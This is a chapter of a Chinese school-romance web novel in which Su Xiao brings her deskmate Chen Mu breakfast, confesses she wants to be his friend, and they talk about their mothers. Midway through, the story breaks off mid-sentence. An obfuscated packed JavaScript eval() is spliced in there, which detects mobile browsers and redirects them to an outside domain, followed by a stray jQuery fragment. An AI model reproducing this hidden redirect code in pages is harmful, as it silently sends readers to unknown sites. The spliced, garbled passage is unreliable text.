7. 开始

作品:《渐黄昏

    呆子。


    这是苏宵起床看到尘暮回复的第一反应。


    不过也可能是自己最近骚扰他太频繁了,所以他在暗示什么?


    那还不是因为他老装死对她爱答不理。


    但苏宵不能跟他计较这个。


    因为是她要跟人交朋友,事能不能成得看他的意思,主动权从来不在她这。


    苏宵睡眼惺忪地换好校服,快速拾掇好东西,匆匆出了门。


    楼下早餐店五点半开门,她就比店主晚到十分钟,成了最早的一批顾客,老板娘是个热心肠的女人,送了一杯豆浆给她。


    苏宵匆忙道谢,把买的早饭放保温盒里,快步跑出了小区。


    现在正处于昼长夜短的月份,虽然她还困倦着太阳却早早上了岗,迎着朝阳,女生高挑的身影在街角巷尾穿梭。


    跑了大概有二十多分钟,终于到了目的地,苏宵看眼表,还来得及,于是席地而坐大口喘着粗气,一边休息一边等人。


    她尾随,不,悄悄跟过尘暮几次,知道这条路是从他家到学校的必经之路,于是就在这蹲守,但尘暮上学的点她摸不准,只知道他不跟她似的踩点上学,为了避免错过,她只能早点来蹲着了。


    他不是脸皮薄吗,不是不喜欢被班里那些爱凑热闹的看戏吗,那她不在班里送,在校外给他总可以了吧。


    要是这还不行,她就只能用强了。


    强行塞他嘴里。


    “哈——”苏宵靠着石柱子打了个长长的哈欠。


    真困呐,困得眼皮上下打架。


    他怎么还不来。


    苏宵盯着路口的红绿灯,默数着绿灯通行的倒计时,马上变红灯了,还剩5、4、3、2……


    睡着了。


    等再次睁眼,苏宵是惊醒的。


    睡眠中的人会对时间流逝没有概念,她这是睡了多久?她不知道。


    苏宵条件反射地从地上蹦起来,一看表,已经6点半多了,她足足睡了半小时。


    半小时,人都得回班里背完50个单词了。


    攻略第一天,以惨败收场。


    苏宵懊恼地提起保温盒扎进一旁的学生大军,连连叹气,白瞎一早晨,早知道在家好好睡觉了。


    走着走着,苏宵蓦地发现不远处一个熟悉的身影。


    不是吧,他今天居然来晚了!


    天赐好运。


    ……


    “你家在这边吗?”


    “嗯,所以我也走这条道,”苏宵撒起谎脸不红心不乱,“咱们顺路。”


    尘暮:“可是我从来没在这条道上碰见你。”


    “那是因为我早晨起的晚,放学走的早,所以跟你错开了,”苏宵应得从容,“我今天没赖床,比平时起的早。”


    见尘暮不再提问,疑虑渐渐打消,苏宵才把保温盒拧开,眼角眉梢漾出笑意。


    一双透亮白皙的细腕捧着热乎乎的早饭凑到他眼前,“给你带的。”


    苏宵其实不常笑,或者说不爱笑,尘暮多数时刻见她总是在放空,低垂着眉,唇线微紧,托着腮不知道在想什么。


    她在想什么呢,像个灵魂游走的小猫。


    至于为什么称她为小猫,是因为她的眼睛很灵动,也很漂亮,这双眼睛盯着尘暮看的时候,很像姐姐养的那只银渐层问他要冻干鸡胸肉吃的模样。


    他拒绝不了它的请求,就像很难拒绝苏宵,所以他会强迫自己不去看她的眼睛。


    比如现在。


    “为什么给我带早饭?”尘暮垂眼。


    他很早就想问了,她为何无端对他好,“你还有其他条件吗?”


    苏宵说没有,“就当是谢谢你借我作业了。”


    这个理由并不成立,尘暮不太接受这说法,“那是我答应你保密的条件,你不需要感谢我。”


    学霸真难糊弄,要是胡瑙就不会这么难缠,苏宵想了想,说,“我们是同桌,我关心同桌你的身体健康没问题吧。”


    “是因为这样么……”尘暮回想起刚开学的时候,“可是你似乎并不喜欢和我做同桌,开学第一天你叫我不要跟你说话。”


    八百年前的事还记得呐。


    这人怎么这么记仇啊。


    苏宵决定要小心谨慎,千万不能被他抓到什么把柄,不然被揪一辈子小辫子。


    “我就是……”尘暮一个接一个的问题跟连环炮似的把苏宵脑袋都炸懵了,她实在没辙了,混乱中口不择言道,“我想跟你做朋友!”


    闻言,尘暮怔愣。


    说完苏宵也懵了。


    她本来打算循序渐进,从长计议的,结果居然这么早就亮牌了,还是底牌,靠。


    我靠。


    怎么办?总不能一棒子给他敲晕然后假装什么事都没发生过吧。


    哎呀。


    “你赶紧吃了吧,马上到学校了。”


    苏宵丢下这句话,把饭盒塞他手里,急吼吼地逃走了。


    校门口扎堆的学生,苏宵跑得太急,没刹住车,猛地撞上刚进门的贺子萱。


    贺子萱冷冷瞥她一眼,弓腰疼得呲牙。


    苏宵下意识去扶她。


    “用不着。”贺子萱猝然甩开苏宵的手腕。


    苏宵说了声对不起,一边往里走一边庆幸她没有听见自己和尘暮的对话。


    而在一百米之外。


    周遭学生络绎不断,喧哗吵闹不绝于耳,所有人都在向前走,只有尘暮屹立原地。


    他捧着那盒冒热气的早饭,骨骼凸起的青筋覆盖女生掌心的温度。


    尘暮抬眼,睫羽轻颤。


    苏宵的身影早已离开视线范围之内。


    可他似乎又听到了她的声音。


    那句带着自嘲的呢喃。


    ——“你知道吗,我在学校没朋友。”


    回班的时候,尘暮把保温盒还给她了。


    不过是空的。


    “谢谢。”他说。


    尘暮面相冷寂,脾气却很好,不会凶,苏宵猜他最最生气时也只会皱眉头,就像她跟他提条件时那样。说话总是温温柔柔,很好听,他的嗓音是清脆的,清润的少年音似山泉水一般澄澈,透明。


    尤其是在说这句“谢谢”的时候。


    这是苏宵听过最动听的一声“谢谢”。


    苏宵不是个聪明的学生,只能读懂直白的意思,而他的回答不能再浅显了。


    *


    苏宵开始每天给尘暮带早饭,尽管每次见她都是睡眼朦胧的迷糊样,却很执着,尘暮说他来学校很早,她没必要按照他的作息出门,苏宵说那她就把闹钟调快点,正好要整治自己的起床气。


    苏宵看着他,伸出三截纤细指骨发誓,“我说过要让你吃热乎的早饭,就向你的胃保证不进带凉气的食物。”


    尘暮敛眉注视着她莹亮的双眸,肃然又倔强的额头,哑然。


    她很奇怪,也很可爱。


    真像姐姐的小猫,有让人摸不着头脑的举动,却不会惹人气恼。


    ……


    尘暮渐渐期待每天的见面,猜她今天会不会比昨天更困一点,发绳的颜色是什么样的,书包拉链有没有拉好,……他是个无聊的人,脑子里却开始接纳学习以外有趣的东西。


    尘暮慢慢适应了跟苏宵一起上学,如果苏宵来晚了,尘暮会在十字路口多等两个绿灯,或者假装系鞋带蹲在路边等她。


    他会在苏宵来之前走到显眼的位置,确保她能看到他却不会让自己被发现。


    被发现在等她。


    苏宵确实没有发现。


    “还以为今天碰不到你了,我只买了油条,”苏宵想起尘暮看麻团时紧绷的眉头,问道,“你是不是不喜欢吃油腻的东西?”


    尘暮摇头,接过油条咬了一口。


    那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043703|178903||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    苏宵就放心了,她总担心会踩到他的雷点,和他相处的时候会有点小心翼翼,好不容易现在关系有向好的趋势,苏宵不想前功尽弃。


    正是上学的时间段,路上来往的全是学生,私家车的鸣笛和电动车的喇叭汇聚于此,两人并肩走着,沉默被喧杂掩埋。


    尘暮话很少,不说话的时候跟他做题时一样,冷峻且淡漠,像块寒冰。


    苏宵只能硬着头皮凿冰。


    “你为什么不在家吃早饭而是带去学校?”苏宵问。


    尘暮顿了下,模糊道,“不想在家吃。”


    苏宵笑起来,“你妈做饭不合胃口吗?”


    苏女士针线绣工技艺精湛,却天生没有烹饪细胞,糊锅齁人是家常便饭,任何食材到她手里都得“死于非命”,小姨是个土豆脑袋,她说她从来没见过有人能把土豆做得那么难吃。


    也正因为如此,苏宵从小便跟她爸在厨房摸爬滚打,而苏女士离开以后,苏宵都是自己做饭,这几年越发精进。


    “她厨艺很好,”尘暮淡声道,“是我前几天跟她吵架了,所以不想在家吃。”


    吵架?


    苏宵敛起笑意。


    她也想跟苏女士吵架,那意味着她们可以见面,总是分别的人是吵不了架的。


    “架不隔夜,你那么聪明肯定比我更懂。”苏宵提起嘴角,眼里却无半分笑意,全是苏女士“炸”厨房的样子。青菜没沥干水就往油锅里放,热油飞溅,然后一边尖叫一边翻炒。


    她是个川妹子,重口,总是在菜里放很多盐和辣椒,苏宵不耐辣,常常鼻涕眼泪直流。


    苏宵很后悔,那时她总会找各式各样的理由和借口少吃或者不吃,殊不知当时自己避之不及的,竟会成为如今的奢望。


    现在回想,咸一点或者被辣到流泪都没关系,她不常哭,与其为一些不相干的人和事流泪,她更愿意在那时哭,如果当时的眼泪流干了,以后是不是就不会再难过了。


    老话常说人死了会转世轮回,可是眼泪是不会轮回的,难过应该也是吧。


    苏宵看着他,仿佛看到以前不懂事的自己,于是劝,“别跟你妈赌气了,她那么爱你。”


    尘暮没看她,眼眸蒙上一层薄雾,嗓音像过被烈阳晒过一般干涩发沉,“我们总是有很多矛盾。”


    尘暮目视着前方帮孩子整理书包肩带的女人,抹着清透自然的淡妆,很年轻,太阳穴也有一颗熟悉的痣。


    他轻声说,“在家里,我最爱的人是姐姐。”


    那时的苏宵还没有理解这个“矛盾”的具体含义,也读不懂尘暮眸中的那层白雾究竟意味着什么。她只觉得他不识好歹。


    每晚都有妈妈陪伴,他从来不是一个人,他可以任性,可以耍脾气,因为他拥有很多爱,拥有很多苏宵所艳羡的不用跨越一千多公里,没有距离,面对面的爱,与他相比,苏宵无疑是不幸的。


    不幸扭曲人的意志,产生妒忌。


    “姐姐对我很好,她不会像我妈那样,约束我,”尘暮看向苏宵,“也许你说得对,可我不喜欢她的……”


    “好了。”苏宵不想听了。


    不想听一个家庭幸福,成绩优异,浑身上下找不到一点残缺的人抱怨。


    “你要走吗?”


    疑问的语气,更多是挽留。


    苏宵的声音随距离的拉远而逐渐削薄,“不然呢,快到学校了。”


    眸中倒映出苏宵疾速奔走的背影,尘暮有些无奈。


    他们现在虽然一同上学,却从来没有一起踏过校门,一起走进教室。


    因为她说过怕他介意被班里人看到误会,知道他不喜欢被那些不怀好意的目光当做谈资。


    可尘暮并不介意,或者说,因为是她,所以不介意。


    就像苏宵说的,她们是同桌,所以她关心他的身体健康。


    因为是同桌,是这样的吧。